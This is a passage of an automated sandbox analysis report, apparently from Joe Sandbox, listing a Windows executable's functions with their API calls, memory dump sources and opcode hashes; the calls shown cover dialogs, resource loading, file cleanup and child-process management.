                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AllocVirtual
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 4275171209-0
                                                                                                                                                                                                                                                                                    • Opcode ID: d52152f8240d310394afd4d808f8c2102ad5bdb202a27d84af0ad2d18dcc3f18
                                                                                                                                                                                                                                                                                    • Instruction ID: 5872fe86412dcdd468f52b7ecb5979782df8fbe157f8593837c634c381a8cb4c
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: d52152f8240d310394afd4d808f8c2102ad5bdb202a27d84af0ad2d18dcc3f18
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5FC08C703483007AEE211B748F0BB4B3653AF84B16F90C029F348B40E0CBF58410AA0A
                                                                                                                                                                                                                                                                                    Function 00412240 Relevance: 1.3, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ??2@YAPAXI@Z.MSVCRT(00004B38), ref: 00412245
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??2@
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1033339047-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 60ec2abcf5a6396ef8d7bbb53f790590f8d628139c26fe78cb856bdba3517ae4
                                                                                                                                                                                                                                                                                    • Instruction ID: 3495fa19a298e49cc2800c4131356790e1569378de7ddbf050defd7ea7821dd7
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 60ec2abcf5a6396ef8d7bbb53f790590f8d628139c26fe78cb856bdba3517ae4
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 40B012E474010671AE4420721F132EF20C007D1385F0408B7AA07E42C2FEDCCAE5912F
                                                                                                                                                                                                                                                                                    Function 00401FF0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • VirtualFree.KERNELBASE(?,00000000,00008000,00413333,00000000,?,0041339B,?,?,0040C03F,?), ref: 00402002
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: FreeVirtual
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1263568516-0
                                                                                                                                                                                                                                                                                    • Opcode ID: ef87b2e52dde92dd11102c14b5a17c3afe989afc729bbcebbe3bdea788540431
                                                                                                                                                                                                                                                                                    • Instruction ID: 703a6ff84afb8074b9885b8fa9c0ccab1db7962bc4b9572073b4c9a6fb1bc3a6
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ef87b2e52dde92dd11102c14b5a17c3afe989afc729bbcebbe3bdea788540431
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 8DB09230285700BAEF224B00DE0DB4A76A0BB80B06F24C428B288240E087B86818DA0E

                                                                                                                                                                                                                                                                                    Non-executed Functions

                                                                                                                                                                                                                                                                                    Function 004092C1 Relevance: 27.1, APIs: 18, Instructions: 144windowcomtimeCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961
                                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000004B8), ref: 004092EE
                                                                                                                                                                                                                                                                                    • SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004092FD
                                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000004B5), ref: 00409344
                                                                                                                                                                                                                                                                                    • GetWindowLongW.USER32(00000000,000000F0), ref: 00409349
                                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000004B5), ref: 00409359
                                                                                                                                                                                                                                                                                    • SetWindowLongW.USER32(00000000), ref: 0040935C
                                                                                                                                                                                                                                                                                    • GetSystemMenu.USER32(?,00000000,000004B4,00000000), ref: 00409382
                                                                                                                                                                                                                                                                                    • EnableMenuItem.USER32(00000000,0000F060,00000001), ref: 00409394
                                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000004B4), ref: 0040939E
                                                                                                                                                                                                                                                                                    • SetFocus.USER32(00000000), ref: 004093A1
                                                                                                                                                                                                                                                                                    • SetTimer.USER32(?,00000001,00000000,00000000), ref: 004093D0
                                                                                                                                                                                                                                                                                    • CoCreateInstance.OLE32(0041C464,00000000,00000001,0041BD6C,?), ref: 004093F4
                                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,00000002), ref: 00409411
                                                                                                                                                                                                                                                                                    • IsWindow.USER32(00000000), ref: 00409414
                                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,00000002), ref: 00409424
                                                                                                                                                                                                                                                                                    • EnableWindow.USER32(00000000), ref: 00409427
                                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000004B5), ref: 0040943B
                                                                                                                                                                                                                                                                                    • ShowWindow.USER32(00000000), ref: 0040943E
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040819E: GetDlgItem.USER32(?,000004B6), ref: 004081AC
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: LoadIconW.USER32(00000000), ref: 00408EA2
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: GetSystemMetrics.USER32(00000032), ref: 00408EB6
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: GetSystemMetrics.USER32(00000031), ref: 00408EBB
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: LoadImageW.USER32(00000000), ref: 00408EC7
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F0C
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F16
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F22
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F3F
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F4D
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F59
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Item$Window$Long$MessageSendSystem$EnableHandleLoadMenuMetricsModuleShow$CreateFocusIconImageInstanceTimer
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1057135554-0
                                                                                                                                                                                                                                                                                    • Opcode ID: ba3a8e7896f853d1d8996d9c4767784286a57f8b05f592c4c5be814e68872b41
                                                                                                                                                                                                                                                                                    • Instruction ID: 5db8082ad3932120c1d3ad580c4d4a8d12b10d7a787853330903dc21ac74032f
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ba3a8e7896f853d1d8996d9c4767784286a57f8b05f592c4c5be814e68872b41
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E54184B0605708AFDA246F22DD49F6B7B9DFF44B04F00843EF955A62E1CB79A850CA1D
                                                                                                                                                                                                                                                                                    Function 004020BF Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 85libraryloaderCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetModuleHandleW.KERNEL32(00000000), ref: 004020CA
                                                                                                                                                                                                                                                                                    • FindResourceExA.KERNEL32(00000000,?,?,00000000), ref: 004020E7
                                                                                                                                                                                                                                                                                    • FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 004020FB
                                                                                                                                                                                                                                                                                    • SizeofResource.KERNEL32(00000000,00000000), ref: 0040210C
                                                                                                                                                                                                                                                                                    • LoadResource.KERNEL32(00000000,00000000), ref: 00402116
                                                                                                                                                                                                                                                                                    • LockResource.KERNEL32(00000000), ref: 00402121
                                                                                                                                                                                                                                                                                    • LoadLibraryA.KERNEL32(kernel32,SetProcessPreferredUILanguages), ref: 0040214D
                                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 00402156
                                                                                                                                                                                                                                                                                    • wsprintfW.USER32 ref: 00402175
                                                                                                                                                                                                                                                                                    • LoadLibraryA.KERNEL32(kernel32,SetThreadPreferredUILanguages), ref: 0040218A
                                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0040218D
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Resource$Load$AddressFindLibraryProc$HandleLockModuleSizeofwsprintf
                                                                                                                                                                                                                                                                                    • String ID: %04X%c%04X%c$SetProcessPreferredUILanguages$SetThreadPreferredUILanguages$kernel32
                                                                                                                                                                                                                                                                                    • API String ID: 2639302590-365843014
                                                                                                                                                                                                                                                                                    • Opcode ID: 4509f4e0e8980c838efd414ca7c3a82435c9d4736e02e482c88f6a1a6bb26b48
                                                                                                                                                                                                                                                                                    • Instruction ID: 092f3855134823e072dda954e94301c8fdf66ebe7b0f0e4b82829ee13f00460f
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 4509f4e0e8980c838efd414ca7c3a82435c9d4736e02e482c88f6a1a6bb26b48
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 7C21B0B5941308BBDB119BA59C08F9B3ABCEB44711F108422FA04E72D0D6B8CD108BA9
                                                                                                                                                                                                                                                                                    Function 00409606 Relevance: 16.6, APIs: 11, Instructions: 96stringwindowCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • wvsprintfW.USER32(?,00000000,?), ref: 0040962A
                                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32 ref: 0040963B
                                                                                                                                                                                                                                                                                    • FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
                                                                                                                                                                                                                                                                                    • FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
                                                                                                                                                                                                                                                                                    • lstrlenW.KERNEL32(?), ref: 0040968B
                                                                                                                                                                                                                                                                                    • lstrlenW.KERNEL32(?), ref: 00409692
                                                                                                                                                                                                                                                                                    • ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
                                                                                                                                                                                                                                                                                    • lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
                                                                                                                                                                                                                                                                                    • lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
                                                                                                                                                                                                                                                                                    • LocalFree.KERNEL32(?), ref: 004096E1
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: FormatMessagelstrcpylstrlen$??2@??3@ErrorFreeLastLocalwvsprintf
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 829399097-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 6755fbfc951f38e1e7f803b5e68f2ede9986d1e01f79489cefcbe200c2021727
                                                                                                                                                                                                                                                                                    • Instruction ID: 0f5aa2174aa9d056a6dafd0f9c7aa592ac4ad2a583e4ab7749965f253d727b0f
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 6755fbfc951f38e1e7f803b5e68f2ede9986d1e01f79489cefcbe200c2021727
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: F0216176800108FFDB159FA1DC85DEB7BACEF08354B10847BF946A6191EA359E84CBA4
                                                                                                                                                                                                                                                                                    Function 004031DC Relevance: 16.6, APIs: 11, Instructions: 90filestringCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • FindFirstFileW.KERNEL32(?,?,0041A68C,?,?,?,00000000), ref: 0040320B
                                                                                                                                                                                                                                                                                    • lstrcmpW.KERNEL32(?,0041A688,?,0000005C,?,?,?,00000000), ref: 0040325E
                                                                                                                                                                                                                                                                                    • lstrcmpW.KERNEL32(?,0041A680,?,?,00000000), ref: 00403274
                                                                                                                                                                                                                                                                                    • SetFileAttributesW.KERNEL32(?,00000000,?,0000005C,?,?,?,00000000), ref: 0040328A
                                                                                                                                                                                                                                                                                    • DeleteFileW.KERNEL32(?,?,?,00000000), ref: 00403291
                                                                                                                                                                                                                                                                                    • FindNextFileW.KERNEL32(00000000,00000010,?,?,00000000), ref: 004032A3
                                                                                                                                                                                                                                                                                    • FindClose.KERNEL32(00000000,?,?,00000000), ref: 004032B2
                                                                                                                                                                                                                                                                                    • SetFileAttributesW.KERNEL32(?,00000000,?,?,00000000), ref: 004032BD
                                                                                                                                                                                                                                                                                    • RemoveDirectoryW.KERNEL32(?,?,?,00000000), ref: 004032C6
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 004032D1
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 004032DC
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: File$Find$??3@Attributeslstrcmp$CloseDeleteDirectoryFirstNextRemove
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1862581289-0
                                                                                                                                                                                                                                                                                    • Opcode ID: d0a5d61d4e970fa2e12ee4e43d613ab26048e5a8235c629d0d05804913e14dc8
                                                                                                                                                                                                                                                                                    • Instruction ID: 78ea6f58b6c007c21ca8543ec41bf80dc5d167b0896979d67dadc0a8fcb0d376
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: d0a5d61d4e970fa2e12ee4e43d613ab26048e5a8235c629d0d05804913e14dc8
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 86216131601208BADB11AF61EC59EFE3B7CAF44746F1444BAF405B21D1EB389B45CA69
                                                                                                                                                                                                                                                                                    Function 00408DBB Relevance: 7.5, APIs: 5, Instructions: 47threadCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetCurrentThreadId.KERNEL32 ref: 00408DDA
                                                                                                                                                                                                                                                                                    • SetWindowsHookExW.USER32(00000007,Function_00008D01,00000000,00000000), ref: 00408DE5
                                                                                                                                                                                                                                                                                    • GetCurrentThreadId.KERNEL32 ref: 00408DF4
                                                                                                                                                                                                                                                                                    • SetWindowsHookExW.USER32(00000002,Function_00008D8D,00000000,00000000), ref: 00408DFF
                                                                                                                                                                                                                                                                                    • EndDialog.USER32(?,00000000), ref: 00408E25
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CurrentHookThreadWindows$Dialog
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1967849563-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 64107a2dc15b1d7316d888ad8cd960e682b3da45f1fa61c15e116e140322c59e
                                                                                                                                                                                                                                                                                    • Instruction ID: b9e6956ff065cd05f2df324d2b5f6df6e8dcd0ec849c0deb45459710c318944d
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 64107a2dc15b1d7316d888ad8cd960e682b3da45f1fa61c15e116e140322c59e
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 51012671201218DFD2106F57ED44AB2F3ECEF54395B01843FE606D29A0CBB758008F69
                                                                                                                                                                                                                                                                                    Function 00402744 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,004066A7,?,?,?,?,004066A7), ref: 0040277D
                                                                                                                                                                                                                                                                                    • CheckTokenMembership.ADVAPI32(00000000,004066A7,?,?,?,?,004066A7,00000000,?,?), ref: 0040278F
                                                                                                                                                                                                                                                                                    • FreeSid.ADVAPI32(004066A7,?,?,?,004066A7,00000000,?,?), ref: 00402798
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AllocateCheckFreeInitializeMembershipToken
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3429775523-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 65cc84debf9a599d2aa76ae24c15b7a3b387b9e5edbe49ca06617e6efb59e37b
                                                                                                                                                                                                                                                                                    • Instruction ID: 8fcaf4468ec200eb9195fd6454b881e9af9bec8ea6f7a7215fc0dea95779660d
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 65cc84debf9a599d2aa76ae24c15b7a3b387b9e5edbe49ca06617e6efb59e37b
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 44F03176945248FEDB01DFE88D85ADDBF7CAB18200F4480AAE105A3182D2705714CB29
                                                                                                                                                                                                                                                                                    Function 00405489 Relevance: 56.2, APIs: 30, Strings: 2, Instructions: 213threadprocesssynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetCommandLineW.KERNEL32(?,00000000,?), ref: 004054AA
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 0040556D
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,00000000), ref: 00405575
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 0040557D
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000), ref: 00405585
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000), ref: 0040558D
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000000), ref: 00405595
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000000), ref: 0040559D
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 004055A5
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 004055AD
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004055B5
                                                                                                                                                                                                                                                                                    • GetStartupInfoW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004055CE
                                                                                                                                                                                                                                                                                    • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000001,01000004,00000000,00000044,?), ref: 004055F5
                                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 004055FF
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 0040560A
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405612
                                                                                                                                                                                                                                                                                    • CreateJobObjectW.KERNEL32(00000000,00000000), ref: 00405627
                                                                                                                                                                                                                                                                                    • AssignProcessToJobObject.KERNEL32(00000000,?), ref: 0040563E
                                                                                                                                                                                                                                                                                    • CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 0040564E
                                                                                                                                                                                                                                                                                    • SetInformationJobObject.KERNEL32(?,00000007,?,00000008), ref: 0040566F
                                                                                                                                                                                                                                                                                    • ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405678
                                                                                                                                                                                                                                                                                    • GetQueuedCompletionStatus.KERNEL32(00000000,?,?,?,000000FF,?,?,?,?,?,?,?,?,?,00000000), ref: 00405697
                                                                                                                                                                                                                                                                                    • ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004056A0
                                                                                                                                                                                                                                                                                    • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,00000000), ref: 004056A7
                                                                                                                                                                                                                                                                                    • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004056B6
